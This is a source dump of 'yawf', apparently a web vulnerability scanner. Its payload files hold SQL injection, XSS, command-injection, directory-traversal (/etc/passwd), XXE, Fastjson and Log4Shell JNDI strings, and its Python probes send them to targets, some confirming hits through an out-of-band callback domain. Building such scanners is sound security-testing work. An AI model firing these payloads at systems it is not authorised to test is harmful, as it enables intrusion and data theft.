├── core ├── __init__.py ├── probes │ ├── __init__.py │ ├── redirect.py │ ├── log4shell.py │ ├── dt.py │ ├── ssrf.py │ ├── rce.py │ ├── jsonp.py │ ├── fastjson.py │ ├── xxe.py │ ├── xss.py │ └── sqli.py ├── fuzzer.py └── probe.py ├── utils ├── __init__.py ├── constants.py └── utils.py ├── data ├── payload │ ├── ssrf.txt │ ├── log4shell.txt │ ├── sqli.txt │ ├── xxe.txt │ ├── rce.txt │ ├── fastjson.txt │ ├── dt.txt │ └── xss.txt └── bulk_poc.jpeg ├── .gitignore ├── pyproject.toml ├── yawf.conf.sample ├── README.md ├── yawf_bulk.py ├── getinfo.py ├── yawf.py └── LICENSE /core/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /utils/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /data/payload/ssrf.txt: -------------------------------------------------------------------------------- 1 | # SSRF payload 2 | 3 | http://domain/ -------------------------------------------------------------------------------- /data/bulk_poc.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/phplaber/yawf/HEAD/data/bulk_poc.jpeg -------------------------------------------------------------------------------- /data/payload/log4shell.txt: -------------------------------------------------------------------------------- 1 | # Log4Shell(CVE-2021-44228) payload 2 | 3 | ${jndi:ldap://domain} -------------------------------------------------------------------------------- /data/payload/sqli.txt: -------------------------------------------------------------------------------- 1 | # SQLI payload 2 | 3 | '1 4 | /**/and 1 5 | #' and 1-- 6 | #' and 1# 7 | ' and '1'='1 8 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | *.pyc 3 | .DS_Store 4 | *.code-workspace 5 | .python-version 6 | .venv/ 7 | /output 8 | yawf.conf 9 | -------------------------------------------------------------------------------- /data/payload/xxe.txt: -------------------------------------------------------------------------------- 1 | # XXE payload 2 | 3 | # echo 4 | ]> 5 | 6 | # blind 7 | ]> -------------------------------------------------------------------------------- /data/payload/rce.txt: -------------------------------------------------------------------------------- 1 | # Remote Command Execution payload 2 | 3 | # echo 4 | ;echo domain 5 | |echo domain 6 | `echo domain` 7 | $(echo domain) 8 | 9 | # blind 10 | ;ping option 3 domain 11 | |ping option 3 domain 12 | `ping option 3 domain` 13 | $(ping option 3 domain) 14 | -------------------------------------------------------------------------------- /data/payload/fastjson.txt: -------------------------------------------------------------------------------- 1 | # Fastjson detect payload 2 | 3 | {"test":{"@type":"java.net.URL","val":"domain"}} 4 | {"test":{"@type":"java.net.InetAddress","val":"domain"}} 5 | {"test":{"@type":"java.net.Inet4Address","val":"domain"}} 6 | {"test":{"@type":"java.net.Inet6Address","val":"domain"}} 7 | {"test":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"domain"}}""} 8 | {"test":{"@type":"java.net.InetSocketAddress"{"address":,"val":"domain"}}} -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [project] 2 | name = "yawf" 3 | version = "3.0.1" 4 | description = "Web 漏洞检测工具" 5 | readme = "README.md" 6 | requires-python = ">=3.8" 7 | dependencies = [ 8 | "beautifulsoup4==4.11.2", 9 | "cryptography==44.0.2", 10 | "dnspython==2.6.1", 11 | "esprima==4.0.1", 12 | "openai==1.60.0", 13 | "python-nmap==0.7.1", 14 | "requests==2.32.4", 15 | "requests-ntlm2==6.5.2", 16 | "playwright>=1.30.0", 17 | "tabulate==0.9.0", 18 | "httpx[socks]", 19 | ] 20 | -------------------------------------------------------------------------------- /core/probes/__init__.py: -------------------------------------------------------------------------------- 1 | import os 2 | import importlib 3 | import pkgutil 4 | 5 | # 获取当前包的路径 6 | __path__ = [os.path.dirname(__file__)] 7 | 8 | # 动态导入所有模块 9 | for _, name, _ in pkgutil.iter_modules(__path__): 10 | if name != '__init__': 11 | try: 12 | importlib.import_module(f'.{name}', __package__) 13 | except ImportError as e: 14 | print(f"[*] Error importing probe module {name}: {e}") 15 | 16 | # 导出所有模块名称 17 | #__all__ = [name for _, name, _ in pkgutil.iter_modules(__path__) if name != '__init__'] 18 | -------------------------------------------------------------------------------- /data/payload/dt.txt: -------------------------------------------------------------------------------- 1 | # Directory Traversal payload 2 | 3 | ..filepath 4 | ../..filepath 5 | ../../..filepath 6 | ../../../..filepath 7 | ../../../../..filepath 8 | ../../../../../..filepath 9 | ../../../../../../..filepath 10 | ../../../../../../../..filepath 11 | ..../filepath 12 | ....//..../filepath 13 | ....//....//..../filepath 14 | ....//....//....//..../filepath 15 | ....//....//....//....//..../filepath 16 | ....//....//....//....//....//..../filepath 17 | ....//....//....//....//....//....//..../filepath 18 | ....//....//....//....//....//....//....//..../filepath -------------------------------------------------------------------------------- /data/payload/xss.txt: -------------------------------------------------------------------------------- 1 | # XSS payload 2 | 3 | # XSS between HTML tags 4 | 5 | alert(1) 6 | 7 | 9 | 10 | # XSS in HTML tag attributes 11 | "> 12 | " autofocus onfocus=alert(1) x=" 13 | 14 | # XSS into JavaScript 15 | 16 | ';alert(1);' 17 | ";alert(1);" 18 | ';alert(1)// 19 | ";alert(1)// 20 | \';alert(1)// 21 | \";alert(1)// 22 | x%2%007;a%00lert%601%60;%2%007 23 | 24 | # XSS in JSON, with eval 25 | \"-alert(1)}// 26 | 27 | # XSS in JavaScript template literals 28 | ${alert(1)} 29 | 30 | # DOM XSS in AngularJS 31 | {{$on.constructor('alert(1)')()}} 32 | -------------------------------------------------------------------------------- /yawf.conf.sample: -------------------------------------------------------------------------------- 1 | # [[请求]] 2 | [request] 3 | 4 | # 代理 5 | proxy : 6 | 7 | # 请求 scheme 8 | scheme : https 9 | 10 | # 请求超时时间(秒) 11 | timeout : 30 12 | 13 | # 自定义 User-Agent 14 | user_agent : 15 | 16 | # [[探针]] 17 | [probe] 18 | 19 | # 默认探针 20 | default : sqli, xss 21 | 22 | # 自定义探针 23 | # 配置 all 关键字开启全部探针 24 | customize : xss 25 | 26 | # [[CEYE.IO]] 27 | [ceye] 28 | 29 | # Identifier 30 | id : 31 | 32 | # API Token 33 | token : 34 | 35 | # [[大模型]] 36 | [llm] 37 | 38 | # 使用状态 [disable|enable] 39 | status : disable 40 | 41 | # 模型 42 | model : 43 | 44 | # 大模型基础 URL 45 | base_url : 46 | 47 | # 大模型 API 调用凭证 48 | api_key : 49 | 50 | # [[杂项]] 51 | [misc] 52 | 53 | # 测试目标运行平台 [linux|windows] 54 | platform : linux 55 | -------------------------------------------------------------------------------- /core/probes/redirect.py: -------------------------------------------------------------------------------- 1 | """ 2 | REDIRECT 探针 3 | 漏洞知识: https://cwe.mitre.org/data/definitions/601.html 4 | """ 5 | 6 | import sys 7 | 8 | from utils.utils import send_request 9 | from core.probe import Probe 10 | 11 | def run(probe_ins: Probe) -> None: 12 | if probe_ins.base_http.get('request').get('method') != 'GET' or not probe_ins.is_resource_param(): 13 | print("[*] REDIRECT detection skipped") 14 | return 15 | 16 | vulnerable = False 17 | try: 18 | payload = 'localhost' 19 | payload_request = probe_ins.gen_payload_request(payload) 20 | response = send_request(payload_request, True) 21 | if response.get('status') in [301, 302, 307, 308] and payload in response.get('headers').get('location'): 22 | vulnerable = True 23 | 24 | if vulnerable: 25 | print("[+] Found REDIRECT!") 26 | probe_ins.fuzz_results.put({ 27 | 'request': probe_ins.request, 28 | 'payload': payload, 29 | 'poc': payload_request, 30 | 'type': 'REDIRECT' 31 | }) 32 | else: 33 | print("[-] Not Found REDIRECT.") 34 | except Exception as e: 35 | _, _, exc_tb = sys.exc_info() 36 | print(f"[*] (probe:redirect) {e}:{exc_tb.tb_lineno}") 37 | -------------------------------------------------------------------------------- /core/probes/log4shell.py: -------------------------------------------------------------------------------- 1 | """ 2 | Log4Shell 探针 3 | 漏洞知识: https://www.anquanke.com/post/id/263325 4 | """ 5 | 6 | import sys 7 | import time 8 | import random 9 | 10 | from utils.utils import get_random_str, send_request 11 | from core.probe import Probe 12 | 13 | def run(probe_ins: Probe) -> None: 14 | vulnerable = False 15 | try: 16 | domain = f"{get_random_str(6)}.{probe_ins.oob_detector.domain}" 17 | for payload in probe_ins.probes_payload['log4shell']: 18 | payload = payload.replace('domain', domain) 19 | payload_request = probe_ins.gen_payload_request(payload) 20 | _ = send_request(payload_request) 21 | time.sleep(random.random()) 22 | 23 | records = probe_ins.oob_detector.pull_logs(domain[:6]) 24 | if records and domain in str(records): 25 | vulnerable = True 26 | 27 | if vulnerable: 28 | print("[+] Found Log4Shell!") 29 | probe_ins.fuzz_results.put({ 30 | 'request': probe_ins.request, 31 | 'payload': payload, 32 | 'poc': payload_request, 33 | 'type': 'Log4Shell' 34 | }) 35 | break 36 | 37 | if not vulnerable: 38 | print("[-] Not Found Log4Shell.") 39 | except Exception as e: 40 | _, _, exc_tb = sys.exc_info() 41 | print(f"[*] (probe:log4shell) {e}:{exc_tb.tb_lineno}") 42 | -------------------------------------------------------------------------------- /core/probes/dt.py: -------------------------------------------------------------------------------- 1 | """ 2 | DT 探针 3 | 漏洞知识: https://portswigger.net/web-security/file-path-traversal 4 | """ 5 | 6 | import os 7 | import sys 8 | 9 | from utils.utils import send_request 10 | from core.probe import Probe 11 | 12 | def run(probe_ins: Probe) -> None: 13 | if not probe_ins.is_resource_param(): 14 | print("[*] DT detection skipped") 15 | return 16 | 17 | vulnerable = False 18 | try: 19 | for payload in probe_ins.probes_payload['dt']: 20 | # 将 payload 中的占位符 filepath 替换为平台特定文件 21 | payload = payload.replace('filepath', '/boot.ini' if os.environ['platform'] == 'windows' else '/etc/passwd') 22 | 23 | payload_request = probe_ins.gen_payload_request(payload) 24 | poc_rsp = send_request(payload_request) 25 | if poc_rsp.get('response') and any(kw in poc_rsp.get('response', '') for kw in ['root:', 'boot loader']): 26 | vulnerable = True 27 | 28 | if vulnerable: 29 | print("[+] Found Directory Traversal!") 30 | probe_ins.fuzz_results.put({ 31 | 'request': probe_ins.request, 32 | 'payload': payload, 33 | 'poc': payload_request, 34 | 'type': 'Directory Traversal' 35 | }) 36 | break 37 | 38 | if not vulnerable: 39 | print("[-] Not Found Directory Traversal.") 40 | except Exception as e: 41 | _, _, exc_tb = sys.exc_info() 42 | print(f"[*] (probe:dt) {e}:{exc_tb.tb_lineno}") 43 | -------------------------------------------------------------------------------- /core/probes/ssrf.py: -------------------------------------------------------------------------------- 1 | """ 2 | SSRF 探针 3 | 漏洞知识: https://portswigger.net/web-security/ssrf 4 | """ 5 | 6 | import sys 7 | import time 8 | import random 9 | 10 | from utils.utils import get_random_str, send_request 11 | from core.probe import Probe 12 | 13 | def run(probe_ins: Probe) -> None: 14 | if not probe_ins.is_resource_param(): 15 | print("[*] SSRF detection skipped") 16 | return 17 | 18 | vulnerable = False 19 | try: 20 | domain = f"{get_random_str(6)}.{probe_ins.oob_detector.domain}" 21 | for payload in probe_ins.probes_payload['ssrf']: 22 | # 无回显 23 | payload = payload.replace('domain', domain) 24 | payload_request = probe_ins.gen_payload_request(payload) 25 | _ = send_request(payload_request) 26 | time.sleep(random.random()) 27 | 28 | records = probe_ins.oob_detector.pull_logs(domain[:6]) 29 | if records and domain in str(records): 30 | vulnerable = True 31 | 32 | if vulnerable: 33 | print("[+] Found SSRF!") 34 | probe_ins.fuzz_results.put({ 35 | 'request': probe_ins.request, 36 | 'payload': payload, 37 | 'poc': payload_request, 38 | 'type': 'SSRF' 39 | }) 40 | break 41 | 42 | if not vulnerable: 43 | print("[-] Not Found SSRF.") 44 | except Exception as e: 45 | _, _, exc_tb = sys.exc_info() 46 | print(f"[*] (probe:ssrf) {e}:{exc_tb.tb_lineno}") 47 | -------------------------------------------------------------------------------- /core/probes/rce.py: -------------------------------------------------------------------------------- 1 | """ 2 | RCE 探针 3 | 漏洞知识: https://portswigger.net/web-security/os-command-injection 4 | """ 5 | 6 | import sys 7 | import time 8 | import random 9 | import os 10 | 11 | from utils.utils import get_random_str, send_request 12 | from core.probe import Probe 13 | 14 | def run(probe_ins: Probe) -> None: 15 | vulnerable = False 16 | try: 17 | platform = os.environ.get('platform') 18 | domain = f"{get_random_str(6)}.{probe_ins.oob_detector.domain}" 19 | for payload in probe_ins.probes_payload.get('rce'): 20 | payload = payload.replace('option', '-n' if platform == 'windows' else '-c').replace('domain', domain) 21 | payload_request = probe_ins.gen_payload_request(payload) 22 | poc_rsp = send_request(payload_request) 23 | 24 | if 'ping' in payload: 25 | time.sleep(random.random()) 26 | records = probe_ins.oob_detector.pull_logs(domain[:6]) 27 | if records and domain in str(records): 28 | vulnerable = True 29 | else: 30 | if payload not in poc_rsp.get('response', '') and domain in poc_rsp.get('response', ''): 31 | vulnerable = True 32 | 33 | if vulnerable: 34 | print("[+] Found RCE!") 35 | probe_ins.fuzz_results.put({ 36 | 'request': probe_ins.request, 37 | 'payload': payload, 38 | 'poc': payload_request, 39 | 'type': 'RCE' 40 | }) 41 | break 42 | 43 | if not vulnerable: 44 | print("[-] Not Found RCE.") 45 | except Exception as e: 46 | _, _, exc_tb = sys.exc_info() 47 | print(f"[*] (probe:rce) {e}:{exc_tb.tb_lineno}") 48 | -------------------------------------------------------------------------------- /core/probes/jsonp.py: -------------------------------------------------------------------------------- 1 | """ 2 | JSONP 探针 3 | 漏洞知识: https://blog.knownsec.com/2015/03/jsonp_security_technic/ 4 | """ 5 | 6 | import re 7 | import sys 8 | import copy 9 | 10 | from utils.utils import send_request, get_jsonp_keys 11 | from utils.constants import EFFICIENCY_CONF 12 | from core.probe import Probe 13 | 14 | def run(probe_ins: Probe) -> None: 15 | base_request = probe_ins.base_http.get('request') 16 | regexp = re.compile(r'(?i)callback|jsonp|success|complete|done|function|^cb$|^fn$') 17 | # 跳过检测的条件: 18 | # 1. 请求方法不是 GET 19 | # 2. 参数名中不包含 callback、jsonp 等关键词 20 | # 3. 响应内容类型不是 json 或 javascript 21 | if (base_request.get('method') != 'GET' or 22 | not any(regexp.search(par) for par in base_request.get('params')) or 23 | not any(ct in probe_ins.base_http.get('headers').get('content-type') for ct in ['json', 'javascript'])): 24 | print("[*] JSONP detection skipped") 25 | return 26 | 27 | try: 28 | sens_info_keywords = EFFICIENCY_CONF.get('sens_info_keywords') 29 | 30 | # 空 referer 测试 31 | if not base_request.get('headers').get('referer'): 32 | jsonp = probe_ins.base_http.get('response') 33 | else: 34 | empty_referer_request = copy.deepcopy(base_request) 35 | del empty_referer_request['headers']['referer'] 36 | empty_referer_response = send_request(empty_referer_request) 37 | jsonp = empty_referer_response.get('response') 38 | 39 | # 语义分析,获取 jsonp 中所有的 Literal 和 Identifier key 40 | jsonp_keys = get_jsonp_keys(jsonp) 41 | if any(key.lower() in sens_info_keywords for key in jsonp_keys): 42 | print("[+] Found JSONP information leakage!") 43 | probe_ins.fuzz_results.put({ 44 | 'request': base_request, 45 | 'payload': 'N/A', 46 | 'poc': 'N/A', 47 | 'type': 'JSONP' 48 | }) 49 | else: 50 | print("[-] Not Found JSONP information leakage.") 51 | except Exception as e: 52 | _, _, exc_tb = sys.exc_info() 53 | print(f"[*] (probe:jsonp) {e}:{exc_tb.tb_lineno}") 54 | -------------------------------------------------------------------------------- /core/probes/fastjson.py: -------------------------------------------------------------------------------- 1 | """ 2 | Fastjson 探针 3 | 检测到使用 Fastjson 后,再通过 rce payload 确认漏洞是否存在(目前只检测目标是否使用 Fastjson,暂不支持验证漏洞是否存在) 4 | 漏洞知识: https://paper.seebug.org/1192/ 5 | """ 6 | 7 | import sys 8 | import time 9 | import random 10 | 11 | from utils.constants import MARK_POINT 12 | from utils.utils import get_random_str, send_request, get_content_type 13 | from core.probe import Probe 14 | 15 | def run(probe_ins: Probe) -> None: 16 | """ 17 | 场景1: GET xxx.php?foo={"a":"b","c":"d"}&bar={"aa":"bb"} 18 | 参数 foo 和 bar 各自执行一次 fastjson 探针 19 | 20 | 场景2: POST {"a":"b","c":"d"} 21 | 只执行一次 fastjson 探针 22 | """ 23 | is_run = False 24 | for k, v in probe_ins.request['params'].items(): 25 | if get_content_type(v) == 'json' and MARK_POINT in v and not probe_ins.direct_use_payload_flag['params'].get(k): 26 | is_run = True 27 | break 28 | 29 | if probe_ins.content_type == 'json': 30 | if MARK_POINT in str(probe_ins.request['data']) and not probe_ins.direct_use_payload_flag['data']: 31 | is_run = True 32 | 33 | if not is_run: 34 | print("[*] Fastjson detection skipped") 35 | return 36 | 37 | vulnerable = False 38 | try: 39 | domain = f"{get_random_str(6)}.{probe_ins.oob_detector.domain}" 40 | for payload in probe_ins.probes_payload['fastjson']: 41 | payload = payload.replace('domain', domain) 42 | payload_request = probe_ins.gen_payload_request(payload, False, True) 43 | _ = send_request(payload_request) 44 | time.sleep(random.random()) 45 | 46 | records = probe_ins.oob_detector.pull_logs(domain[:6]) 47 | if records and domain in str(records): 48 | vulnerable = True 49 | 50 | if vulnerable: 51 | print("[+] Found Fastjson!") 52 | probe_ins.fuzz_results.put({ 53 | 'request': probe_ins.request, 54 | 'payload': payload, 55 | 'poc': payload_request, 56 | 'type': 'Fastjson' 57 | }) 58 | break 59 | 60 | if not vulnerable: 61 | print("[-] Not Found Fastjson.") 62 | except Exception as e: 63 | _, _, exc_tb = sys.exc_info() 64 | print(f"[*] (probe:fastjson) {e}:{exc_tb.tb_lineno}") 65 | -------------------------------------------------------------------------------- /core/probes/xxe.py: -------------------------------------------------------------------------------- 1 | """ 2 | XXE 探针 3 | 漏洞知识: https://portswigger.net/web-security/xxe 4 | """ 5 | 6 | import sys 7 | import time 8 | import random 9 | import os 10 | 11 | from utils.constants import MARK_POINT 12 | from utils.utils import get_random_str, send_request 13 | from core.probe import Probe 14 | 15 | def run(probe_ins: Probe) -> None: 16 | if probe_ins.content_type != 'xml' or MARK_POINT not in probe_ins.request['data']: 17 | print("[*] XXE detection skipped") 18 | return 19 | 20 | vulnerable = False 21 | try: 22 | domain = f"{get_random_str(6)}.{probe_ins.oob_detector.domain}" 23 | for payload in probe_ins.probes_payload['xxe']: 24 | # 将 payload 中的占位符 filepath 和 dnslog 分别替换为平台特定文件和 dnslog 子域名 25 | payload = payload.replace('domain', domain) \ 26 | .replace('filepath', '/c:/boot.ini' if os.environ['platform'] == 'windows' else '/etc/passwd') 27 | 28 | payload_request = probe_ins.gen_payload_request('&xxe;') 29 | if '?>' in payload_request['data']: 30 | payload_request['data'] = payload_request['data'].replace('?>', f'?>{payload}') 31 | else: 32 | payload_request['data'] = payload + payload_request['data'] 33 | 34 | poc_rsp = send_request(payload_request) 35 | if 'http' not in payload: 36 | # 有回显 37 | if poc_rsp.get('response') and any(kw in poc_rsp.get('response', '') for kw in ['root:', 'boot loader']): 38 | vulnerable = True 39 | else: 40 | # 无回显 41 | time.sleep(random.random()) 42 | 43 | records = probe_ins.oob_detector.pull_logs(domain[:6]) 44 | if records and domain in str(records): 45 | vulnerable = True 46 | 47 | if vulnerable: 48 | print("[+] Found XXE!") 49 | probe_ins.fuzz_results.put({ 50 | 'request': probe_ins.request, 51 | 'payload': payload, 52 | 'poc': payload_request, 53 | 'type': 'XXE' 54 | }) 55 | break 56 | 57 | if not vulnerable: 58 | print("[-] Not Found XXE.") 59 | except Exception as e: 60 | _, _, exc_tb = sys.exc_info() 61 | print(f"[*] (probe:xxe) {e}:{exc_tb.tb_lineno}") 62 | -------------------------------------------------------------------------------- /core/probes/xss.py: -------------------------------------------------------------------------------- 1 | """ 2 | XSS 探针 3 | 漏洞知识: https://portswigger.net/web-security/cross-site-scripting 4 | """ 5 | 6 | import sys 7 | from urllib.parse import quote, urlparse 8 | 9 | from core.probe import Probe 10 | 11 | def run(probe_ins: Probe) -> None: 12 | # 只在 GET 请求时,执行 xss 探针 13 | # 因而 xss 探针更有可能检测到反射型 XSS 和 DOM XSS 14 | if probe_ins.request['method'] == 'POST': 15 | print("[*] XSS detection skipped") 16 | return 17 | 18 | vulnerable = False 19 | try: 20 | # headless chrome 着陆页 21 | o = urlparse(probe_ins.base_http['request']['url']) 22 | load_page = f'{o.scheme}://{o.netloc}/robots.txt' 23 | # 添加请求头(请求头不支持标记) 24 | probe_ins.browser.page.set_extra_http_headers(probe_ins.request['headers']) 25 | 26 | for payload in probe_ins.probes_payload['xss']: 27 | alert_text = '' 28 | alert_triggered = False 29 | 30 | # 使用 AngularJS payload,页面需使用 AngularJS 指令 31 | if '{{' in payload and 'ng-app' not in probe_ins.base_http.get('response'): 32 | continue 33 | payload_request = probe_ins.gen_payload_request(payload) 34 | 35 | query_list = [f'{par}={val}' for par, val in payload_request['params'].items()] if payload_request['params'] else [] 36 | url = payload_request['url'] + '?' + '&'.join(query_list) if query_list else payload_request['url'] 37 | 38 | # 在添加 cookie 前,需导航到目标域名某个页面(不必存在),然后再加载目标页面 39 | if payload_request['cookies']: 40 | try: 41 | probe_ins.browser.page.goto(load_page, timeout=10000) 42 | except Exception: 43 | pass 44 | 45 | cookies = [] 46 | for n, v in payload_request['cookies'].items(): 47 | cookies.append({'name': n, 'value': quote(v), 'url': load_page}) 48 | probe_ins.browser.context.add_cookies(cookies) 49 | 50 | # 监听 dialog 事件 51 | def handle_dialog(dialog): 52 | nonlocal alert_triggered, alert_text 53 | alert_text = dialog.message 54 | alert_triggered = True 55 | try: 56 | dialog.accept() 57 | except Exception: 58 | pass 59 | 60 | probe_ins.browser.page.on("dialog", handle_dialog) 61 | 62 | try: 63 | probe_ins.browser.page.goto(url, timeout=10000) 64 | # 等待 3 秒,给 JS 执行留出时间 65 | probe_ins.browser.page.wait_for_timeout(3000) 66 | except Exception: 67 | pass 68 | 69 | probe_ins.browser.page.remove_listener("dialog", handle_dialog) 70 | 71 | if alert_triggered and alert_text == '1': 72 | vulnerable = True 73 | 74 | if vulnerable: 75 | print("[+] Found XSS!") 76 | probe_ins.fuzz_results.put({ 77 | 'request': probe_ins.request, 78 | 'payload': payload, 79 | 'poc': payload_request, 80 | 'type': 'XSS' 81 | }) 82 | break 83 | 84 | if not vulnerable: 85 | print("[-] Not Found XSS.") 86 | except Exception as e: 87 | _, _, exc_tb = sys.exc_info() 88 | print(f"[*] (probe:xss) {e}:{exc_tb.tb_lineno}") 89 | -------------------------------------------------------------------------------- /core/fuzzer.py: -------------------------------------------------------------------------------- 1 | import queue 2 | from multiprocessing import Process, Queue, Manager, cpu_count 3 | 4 | from core.probe import Probe 5 | import core.probes as probes 6 | 7 | class Fuzzer: 8 | """ 9 | 模糊测试器 10 | """ 11 | 12 | def __init__(self, requests, base_http, probes, probes_payload, oob_detector, browser): 13 | 14 | self.requests = requests 15 | self.base_http = base_http 16 | self.probes = probes 17 | self.probes_payload = probes_payload 18 | self.oob_detector = oob_detector 19 | self.browser = browser 20 | 21 | def do_fuzz(self, requests, fuzz_results, flag): 22 | """ 23 | 进程执行目标 24 | requests: 请求对象队列 25 | fuzz_results: 漏洞详情队列 26 | flag: 控制 fastjson 探针智能化检测开关 27 | """ 28 | 29 | # 启动 Chrome 浏览器 30 | chrome = self.browser.run() if self.browser else None 31 | 32 | while True: 33 | try: 34 | # 从队列中获取待检测 request 对象,如队列为空,抛出异常跳出循环 35 | request = requests.get_nowait() 36 | except queue.Empty: 37 | break 38 | else: 39 | # 调用探针检测漏洞 40 | probe_ins = Probe( 41 | request, 42 | chrome, 43 | self.base_http, 44 | self.probes_payload, 45 | self.oob_detector, 46 | fuzz_results, 47 | flag 48 | ) 49 | 50 | for probe in self.probes: 51 | if hasattr(probes, probe): 52 | probe_module = getattr(probes, probe) 53 | if hasattr(probe_module, 'run'): 54 | getattr(probe_module, 'run')(probe_ins) 55 | else: 56 | print(f"[*] Function 'run' not found in '{probe}'") 57 | else: 58 | print(f"[*] Probe '{probe}' not found") 59 | 60 | # 关闭 Chrome 浏览器 61 | if chrome: 62 | chrome.quit() 63 | 64 | def run(self): 65 | """ 66 | 启动多进程并行处理 67 | """ 68 | 69 | fuzz_workers = [] 70 | # 请求对象队列 71 | requests = Queue() 72 | # 存储漏洞队列 73 | fuzz_results = Queue() 74 | # 用于 fastjson 探针,减少重复测试 75 | manager = Manager() 76 | # 创建可在多进程间共享的字典 77 | flag = manager.dict() 78 | # 注意这里不能使用常规的字典 79 | flag['params'] = manager.dict() 80 | flag['data'] = False 81 | 82 | requests_num = 0 83 | for request in self.requests: 84 | requests_num += 1 85 | requests.put(request) 86 | 87 | # 进程数 88 | cpus_num = cpu_count() 89 | processes_num = requests_num if requests_num < cpus_num else cpus_num 90 | 91 | for _ in range(processes_num): 92 | fuzz_worker = Process(target=self.do_fuzz, args=(requests, fuzz_results, flag)) 93 | fuzz_workers.append(fuzz_worker) 94 | fuzz_worker.start() 95 | 96 | # 等待全部进程结束 97 | for fuzz_worker in fuzz_workers: 98 | fuzz_worker.join() 99 | 100 | # 从队列获取漏洞结果并返回 101 | results = [] 102 | while not fuzz_results.empty(): 103 | results.append(fuzz_results.get()) 104 | 105 | return results 106 | -------------------------------------------------------------------------------- /core/probes/sqli.py: -------------------------------------------------------------------------------- 1 | """ 2 | SQLI 探针 3 | 漏洞知识: https://portswigger.net/web-security/sql-injection 4 | """ 5 | 6 | import re 7 | import sys 8 | 9 | from bs4 import BeautifulSoup 10 | 11 | from utils.constants import DBMS_ERRORS, DIFF_THRESHOLD 12 | from utils.utils import get_random_str, send_request, similar 13 | from core.probe import Probe 14 | 15 | def run(probe_ins: Probe) -> None: 16 | # 某些测试点不影响程序执行,无论怎么改变其值,页面内容都不会发生变化。 17 | # 需提前识别出这些测试点,减少误报。 18 | is_html = True 19 | invalid_mark_point = False 20 | test_rsp = send_request(probe_ins.gen_payload_request(get_random_str(10))) 21 | if test_rsp.get('response'): 22 | # 如果响应体为 HTML,则比较文本内容,否则,直接比较 23 | if 'text/html' in probe_ins.base_http.get('headers').get('content-type'): 24 | base_rsp_body = BeautifulSoup(probe_ins.base_http.get('response'), "html.parser").get_text() 25 | test_rsp_body = BeautifulSoup(test_rsp.get('response'), "html.parser").get_text() 26 | else: 27 | is_html = False 28 | base_rsp_body = probe_ins.base_http.get('response') 29 | test_rsp_body = test_rsp.get('response') 30 | 31 | if similar(base_rsp_body, test_rsp_body) > DIFF_THRESHOLD: 32 | invalid_mark_point = True 33 | 34 | if invalid_mark_point: 35 | print("[*] SQLI detection skipped") 36 | return 37 | 38 | vulnerable = False 39 | try: 40 | for payload in probe_ins.probes_payload['sqli']: 41 | payload_request = probe_ins.gen_payload_request(payload, True) 42 | poc_rsp = send_request(payload_request) 43 | 44 | if not poc_rsp.get('response'): 45 | continue 46 | 47 | if 'and' not in payload: 48 | # 基于报错判断 49 | for (dbms, regex) in ((dbms, regex) for dbms in DBMS_ERRORS for regex in DBMS_ERRORS[dbms]): 50 | if re.search(regex, poc_rsp.get('response'), re.I) and not re.search(regex, probe_ins.base_http.get('response'), re.I): 51 | vulnerable = True 52 | break 53 | else: 54 | # 基于内容相似度判断 55 | poc_rsp_body = BeautifulSoup(poc_rsp.get('response'), "html.parser").get_text() if is_html else poc_rsp.get('response') 56 | if similar(base_rsp_body, poc_rsp_body) > DIFF_THRESHOLD: 57 | # 参数可能被消杀(如整数化)处理,使用反向 payload 再确认一遍 58 | reverse_payload_request = probe_ins.gen_payload_request(payload.replace('1','0') if '=' not in payload else payload.replace('1','0',1), True) 59 | reverse_poc_rsp = send_request(reverse_payload_request) 60 | if reverse_poc_rsp.get('response'): 61 | reverse_rsp_body = BeautifulSoup(reverse_poc_rsp.get('response'), "html.parser").get_text() if is_html else reverse_poc_rsp.get('response') 62 | # 一般来说,如果漏洞存在,取反后内容差异更大 63 | if similar(base_rsp_body, reverse_rsp_body) < DIFF_THRESHOLD * 0.8: 64 | vulnerable = True 65 | 66 | if vulnerable: 67 | print("[+] Found SQL Injection!") 68 | probe_ins.fuzz_results.put({ 69 | 'request': probe_ins.request, 70 | 'payload': payload, 71 | 'poc': payload_request, 72 | 'type': 'SQL Injection' 73 | }) 74 | break 75 | 76 | if not vulnerable: 77 | print("[-] Not Found SQL Injection.") 78 | except Exception as e: 79 | _, _, exc_tb = sys.exc_info() 80 | print(f"[*] (probe:sqli) {e}:{exc_tb.tb_lineno}") 81 | -------------------------------------------------------------------------------- /utils/constants.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | def get_version(): 4 | version = '' 5 | try: 6 | base_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) 7 | pyproject_path = os.path.join(base_dir, 'pyproject.toml') 8 | 9 | if os.path.exists(pyproject_path): 10 | with open(pyproject_path, 'r', encoding='utf-8') as f: 11 | for line in f: 12 | if line.strip().startswith('version'): 13 | version = line.split('=', 1)[1].strip().strip('"\' ') 14 | break 15 | except Exception: 16 | pass 17 | return version 18 | 19 | VERSION = get_version() 20 | 21 | UA = 'Yawf ' + VERSION 22 | 23 | MARK_POINT = '[fuzz]' 24 | 25 | DBMS_ERRORS = { 26 | "MySQL": (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."), 27 | "Oracle": (r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"), 28 | "Microsoft SQL Server": (r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", 29 | r"Warning.*mssql_.*", r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", 30 | r"(?s)Exception.*\WSystem\.Data\.SqlClient\.", r"(?s)Exception.*\WRoadhouse\.Cms\."), 31 | "PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."), 32 | "SQLite": (r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*", 33 | r"Warning.*SQLite3::", r"\[SQLITE_ERROR\]"), 34 | "IBM DB2": (r"CLI 